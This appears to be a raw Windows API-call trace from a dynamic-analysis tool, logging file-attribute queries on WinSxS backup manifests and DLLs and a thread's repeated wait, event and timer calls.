	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e878 | out: lpFileInformation=0x1254e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2dc715e, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf32da1e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3300345, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x26894)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4_cmisetup.dll_91548db0" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4_cmisetup.dll_91548db0"), fInfoLevelId=0x0, lpFileInformation=0x1254e8c8 | out: lpFileInformation=0x1254e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e3957f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3300345, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3300345, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41800)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4_cmiv2.dll_be06aa9f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_abd5b433b8ccf7a4_cmiv2.dll_be06aa9f"), fInfoLevelId=0x0, lpFileInformation=0x1254e918 | out: lpFileInformation=0x1254e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e8583f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3300345, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf334c606, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f2600)) returned 1
	[0101.321] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_e83a414890e8132b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_e83a414890e8132b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254e968 | out: lpFileInformation=0x1254e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df9bc8d, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf4adff5a, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf4b05f43, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x8e8)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_e83a414890e8132b_cngaudit.dll_86fb1bb1" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_e83a414890e8132b_cngaudit.dll_86fb1bb1"), fInfoLevelId=0x0, lpFileInformation=0x1254e9b8 | out: lpFileInformation=0x1254e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc1d64, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf4b05f43, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf4b05f43, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_ae2511475093798f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_ae2511475093798f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254ea08 | out: lpFileInformation=0x1254ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa725cbbc, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3b08d94, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3b2eef4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9a4)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_ae2511475093798f_ole32.dll_e9dcc2e3" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_ae2511475093798f_ole32.dll_e9dcc2e3"), fInfoLevelId=0x0, lpFileInformation=0x1254ea58 | out: lpFileInformation=0x1254ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa72a8e7d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3b2eef4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3b55055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x159400)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254eaa8 | out: lpFileInformation=0x1254eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecf0086, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acf9081, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acf9081, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc17)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7_ole32.dll.mui_5035d60a" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7_ole32.dll.mui_5035d60a"), fInfoLevelId=0x0, lpFileInformation=0x1254eaf8 | out: lpFileInformation=0x1254eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecf0086, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acf9081, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acf9081, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7_oleres.dll.mui_ff00d4cb" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-com-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b85612429efc33a7_oleres.dll.mui_ff00d4cb"), fInfoLevelId=0x0, lpFileInformation=0x1254eb48 | out: lpFileInformation=0x1254eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecf0086, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acf9081, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acf9081, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5200)) returned 1
	[0101.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_ce00766f323410b7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_ce00766f323410b7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254eb98 | out: lpFileInformation=0x1254eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d76ee5c, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb615dd9e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb6183d87, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb2b)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_ce00766f323410b7_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ar-sa_ce00766f323410b7_comctl32.dll.mui_0da4e682"), fInfoLevelId=0x0, lpFileInformation=0x1254ebe8 | out: lpFileInformation=0x1254ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d76ee5c, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb6183d87, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb6183d87, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_744057f822b4620e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_744057f822b4620e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254ec38 | out: lpFileInformation=0x1254ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ddf9350, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeaa70079, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeaa96062, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb2b)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_744057f822b4620e_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_bg-bg_744057f822b4620e_comctl32.dll.mui_0da4e682"), fInfoLevelId=0x0, lpFileInformation=0x1254ec88 | out: lpFileInformation=0x1254ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ddf9350, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeaa96062, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeaabc04b, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_1f49ce93103c3e39.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_1f49ce93103c3e39.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254ecd8 | out: lpFileInformation=0x1254ecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd60ff4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe64faa85, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe6520a6e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb2b)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_1f49ce93103c3e39_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_cs-cz_1f49ce93103c3e39_comctl32.dll.mui_0da4e682"), fInfoLevelId=0x0, lpFileInformation=0x1254ed28 | out: lpFileInformation=0x1254ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd60ff4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe6520a6e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe6546a57, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0101.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_bc83aeba06823a38.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_da-dk_bc83aeba06823a38.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1254ed78 | out: lpFileInformation=0x1254ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8071b8, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xb933bf6e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xb93adf29, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb2b)) returned 1

Thread:
	id = 2
	os_tid = 0xaf0

	[0028.414] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x9cff60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9cff60*=0x70) returned 1
	[0028.414] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.430] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.450] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.474] SetEvent (hEvent=0x8c) returned 1
	[0028.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.498] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0028.498] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa8
	[0028.498] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0028.541] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0028.541] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.549] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.759] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.783] SetEvent (hEvent=0x80) returned 1
	[0028.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0028.797] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0028.797] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0033.418] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0033.418] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.480] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.514] SetEvent (hEvent=0x80) returned 1
	[0033.514] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.561] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0033.561] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0033.898] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0033.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.952] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0033.986] SetEvent (hEvent=0x80) returned 1
	[0033.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.013] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0034.013] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0034.331] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0034.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.424] SetEvent (hEvent=0x80) returned 1
	[0034.424] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.443] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0034.443] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0034.735] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0034.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.746] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.787] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.821] SetEvent (hEvent=0x80) returned 1
	[0034.821] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0034.849] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0034.849] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0035.206] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0035.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.288] SetEvent (hEvent=0x80) returned 1
	[0035.288] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.312] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0035.312] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0035.664] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0035.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.675] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.717] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.751] SetEvent (hEvent=0x80) returned 1
	[0035.751] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0035.774] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0035.774] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0036.456] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0036.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.467] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.509] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.543] SetEvent (hEvent=0x80) returned 1
	[0036.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.563] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0036.563] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0036.868] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0036.868] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.956] SetEvent (hEvent=0x80) returned 1
	[0036.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0036.983] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0036.983] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0037.280] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0037.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.358] SetEvent (hEvent=0x80) returned 1
	[0037.358] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.386] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0037.386] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0037.781] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0037.781] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.839] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.872] SetEvent (hEvent=0x80) returned 1
	[0037.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0037.902] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0037.902] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0038.242] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0038.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.250] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.324] SetEvent (hEvent=0x80) returned 1
	[0038.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.346] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0038.346] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0038.639] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0038.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.666] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.699] SetEvent (hEvent=0x80) returned 1
	[0038.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0038.733] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0038.733] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0039.084] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0039.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.191] SetEvent (hEvent=0x80) returned 1
	[0039.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.214] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0039.214] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0039.505] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0039.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.671] SetEvent (hEvent=0x80) returned 1
	[0039.671] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0039.697] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0039.697] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0040.029] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0040.029] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.119] SetEvent (hEvent=0x80) returned 1
	[0040.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.160] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0040.160] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0040.504] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0040.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.548] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.582] SetEvent (hEvent=0x80) returned 1
	[0040.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0040.607] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0040.607] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
